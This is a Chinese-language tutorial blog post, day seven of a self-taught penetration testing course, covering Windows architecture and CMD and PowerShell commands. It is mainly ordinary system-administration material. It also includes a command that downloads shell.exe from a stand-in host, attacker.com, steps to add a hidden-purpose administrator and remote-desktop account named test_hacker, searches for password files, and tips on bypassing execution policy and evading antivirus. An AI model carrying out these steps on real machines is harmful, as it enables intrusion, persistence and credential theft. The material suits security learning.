自学渗透测试第七天(Windows基础与cmd命令)

张开发
2026/5/17 15:44:15 15 分钟阅读
自学渗透测试第七天(Windows基础与cmd命令)
第3章 Windows基础与法律合规第7–8天3.1 Windows基础与CMD命令第7天核心目标掌握Windows系统架构理解Windows文件系统、注册表、用户与权限体系、服务与进程等核心概念。精通Windows命令行熟练使用CMD和PowerShell进行系统管理、信息收集、配置审计和基本攻击操作。建立跨平台思维能够对比Linux与Windows在渗透测试中的异同为内网横向移动和权限提升打下基础。模块一Windows系统基础与架构1.1 Windows文件系统与路径文件系统类型NTFS主流支持权限、加密、压缩、FAT32、exFAT。目录结构C:\Windows系统文件。C:\Program FilesC:\Program Files (x86)64位和32位程序。C:\Users或C:\Documents and Settings旧版用户配置文件。C:\Windows\System32关键系统可执行文件。特殊文件夹%SYSTEMROOT%和%WINDIR%指向Windows目录。%USERPROFILE%当前用户目录。%APPDATA%应用程序数据。%TEMP%和%TMP%临时文件。1.2 用户、组与权限用户类型管理员Administrator、标准用户、Guest(访客。内置组Administrators、Users、Guests、Backup Operators备份控制组、Remote Desktop Users远程控制组。权限模型NTFS权限读、写、修改、完全控制等和共享权限。查看当前用户whoami、net user、net localgroup administrators。1.3 注册表Windows配置数据库包含系统、程序、用户的所有设置。五大根键HKEY_CLASSES_ROOT (HKCR)文件关联和COM对象。HKEY_CURRENT_USER (HKCU)当前用户设置。HKEY_LOCAL_MACHINE (HKLM)本地计算机设置关键。HKEY_USERS (HKU)所有用户配置。HKEY_CURRENT_CONFIG (HKCC)当前硬件配置。渗透测试关联自启动项、服务、密码哈希、系统信息等常驻留在注册表中。1.4 服务与进程服务后台运行的程序可通过services.msc或sc命令管理。进程运行中的程序实例。tasklist查看taskkill终止。模块二CMD命令提示符核心命令2.1 系统信息与用户管理系统信息systeminfo # 详细系统信息OS版本、补丁、网卡等 hostname # 计算机名 ver # Windows版本用户与组管理whoami # 当前用户 whoami /priv # 当前用户权限 whoami /groups # 当前用户所属组 net user # 列出所有用户 net user [用户名] # 查看指定用户信息 net localgroup administrators # 查看管理员组成员 net user [用户名] [密码] /add # 创建用户 net localgroup administrators [用户名] /add # 添加用户到管理员组2.2 网络配置与诊断网络配置ipconfig /all # 查看所有网络适配器详细信息IP、MAC、DNS ipconfig /release # 释放IP ipconfig /renew # 续约IP网络诊断ping -n 4 8.8.8.8 # 发送4个ICMP包 tracert 8.8.8.8 # 路由追踪 nslookup google.com # DNS查询 netstat -ano # 查看所有连接和监听端口-a所有-n数字-o PID2.3 文件与目录操作浏览与操作dir # 列出目录内容 dir /a # 显示所有文件包括隐藏 cd [路径] # 切换目录 cd /d D:\ # 切换驱动器 tree /f # 树形显示目录结构文件操作type file.txt # 查看文件内容类似cat copy src.txt dst.txt # 复制 move src.txt dst.txt # 移动/重命名 del file.txt # 删除文件 rd /s /q directory # 强制删除目录 注#/s:递归删除删除指定文件夹及其下的所有的文件 #/q:安静模式删除的时候不提示是否确认直接执行 attrib h s file.txt # 添加隐藏和系统属性 注#h隐藏属性文件在资源管理器中默认不可见 #s:系统属性标记为系统文件普通用户执行受到限制。2.4 进程与服务管理进程tasklist # 列出所有进程 tasklist /svc # 列出进程及关联服务 taskkill /PID 1234 /F # 强制结束PID为1234的进程 taskkill /IM notepad.exe /F # 强制结束指定映像名的进程 注#/F:强制结束即使进程在运行中不响应也强制停止。若没有该参数系统可能会弹出确认或某个程序无法结束。服务sc query # 列出所有服务 sc query [服务名] # 查询特定服务状态 sc start [服务名] # 启动服务 sc stop [服务名] # 停止服务 sc config [服务名] start auto # 设置服务为自动启动2.5 注册表操作reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run # 查询自启动项 reg add [键路径] /v [值名] /t [类型] /d [数据] # 添加/修改注册表 reg delete [键路径] /f # 删除注册表项模块三PowerShell基础与渗透测试优势3.1 PowerShell简介更强大的脚本环境面向对象与.NET Framework深度集成是Windows渗透测试的首选。执行策略控制脚本运行权限。Get-ExecutionPolicy查看Set-ExecutionPolicy Bypass绕过需管理员。基本命令Cmdlet动词-名词格式如Get-Process、Stop-Service。3.2 常用渗透测试相关CmdletGet-WmiObject -Class Win32_OperatingSystem # 获取系统信息 Get-LocalUser # 获取本地用户 Get-NetIPAddress # 获取IP配置 Get-Process | Where-Object {$_.ProcessName -eq chrome} Stop-Process -Name notepad -Force Get-Service | Where-Object {$_.Status -eq Running} Invoke-WebRequest -Uri http://attacker.com/shell.exe -OutFile C:\temp\shell.exe # 下载文件模块四当日达标实战任务4.1 系统信息收集完整系统画像在一台Windows主机上使用CMD命令收集以下信息主机名、操作系统版本、已安装补丁、系统启动时间、网络配置IP、MAC、网关、DNS、当前登录用户及其权限、所有本地用户列表、管理员组成员列表。将命令和结果整理成报告。#查看主机名 hostname #收集操作系统版本 systeminfo | findstr /B /C:OS Name /C:OS Version #已安装补丁 wmic qfe list brief /format:table #系统启动时间 systeminfo | findstr /C:system Boot Time #网络配置 ipconfig /all #当前用户登陆及权限 whoami whoami /groups #所有本地用户的列表 net user #管理员组成员列表 net localgroups administrators进程与服务分析使用tasklist /svc找出所有由svchost.exe承载的服务。使用netstat -ano找出所有ESTABLISHED状态的TCP连接并关联到具体的进程名。tasklist /svc | findstr svchost.exe4.2 文件系统与注册表探索敏感文件搜索使用dir /s /b C:\*.config、dir /s /b C:\*pass*.txt等命令在C盘搜索可能包含配置和密码的文件。netstat -ano | findstr ESTABLISHED 注#netstat -ano :显示tcp连接状态、IP、端口及PID #findstr ESTABLISHED:只显示连接状态 tasklist /FI PID eq pid、 注#将上一步抓取到的PID替换pid dir /s /b C:\*.config dir /s /b C:\*pass*.txt 注 #dir列出目录内容 /s:递归子目录 /b简洁路径输出只显示完整文件目录注册表键值查询查询注册表中的常见自启动位置HKLM\Software\Microsoft\Windows\CurrentVersion\Run和HKCU\Software\Microsoft\Windows\CurrentVersion\Run。记录发现的启动项。 reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run 注#reg query查询注册表 HKLM :本地计算机去全局自启动 HKCU:当前用户自启动4.3 权限与用户操作用户创建与提权在拥有管理员权限的CMD中尝试创建一个新用户test_hacker并将其添加到Administrators组和Remote Desktop Users组。net user test_hacker 123456 /add net localgroup administrators test_hacker /add net localgroup Remote desktop users test_hacker /add密码策略查看运行net accounts命令查看系统的密码策略长度、有效期、锁定阈值等。net accounts4.4 简单批处理脚本编写一个批处理脚本.bat实现以下功能显示欢迎信息、显示当前日期时间、列出C盘根目录、暂停等待用户按键后结束。echo off echo 欢迎使用系统信息查看工具 echo 当前日期和时间: %date% %time% echo C盘根目录列表 dir C:\ pause #运行该脚本的方法 C:\temp\example.bat模块五常见问题与解决方案5.1 权限问题“请求的操作需要提升”需要以管理员身份运行CMD。右键点击“命令提示符”选择“以管理员身份运行”。无法创建用户或修改组当前用户权限不足或用户账户控制UAC被触发。需在管理员权限下并可能需确认UAC弹窗。5.2 命令语法与差异del和rmdir与Linux的rm和rmdir区别Windows的del用于文件rmdir或rd用于目录且默认不递归删除非空目录需加/s参数。路径分隔符Windows使用反斜杠\但在命令行中也常接受正斜杠/。但在涉及转义时需注意。5.3 安全特性绕过PowerShell执行策略限制可通过-ExecutionPolicy Bypass参数运行单条命令或脚本或使用Set-ExecutionPolicy修改策略需管理员。防病毒软件拦截某些敏感命令如添加用户、下载执行可能被AV拦截。在测试环境中可暂时禁用AV或研究混淆、编码技术。明日预告第8天将聚焦网络安全法、伦理规范与工具链联动这是每位安全从业者必须遵守的底线和必须掌握的协同作战能力。我们将系统学习法律红线、道德准则并实践如何将已学的Linux、Windows、网络、抓包工具串联起来完成一个微型但完整的渗透测试工作流。————————————————————————————————————————免责声明本技术分享内容仅供学习和交流目的不构成任何形式的专业建议或承诺。分享者不对因使用或参考本内容而导致的任何直接或间接损失或损害承担责任。网络安全技术涉及潜在风险请在合法授权范围内谨慎操作遵守相关法律法规。读者应自行评估技术适用性并在实际环境中采取必要的安全措施。版权声明未经许可不得擅自修改、转载或用于商业用途。

更多文章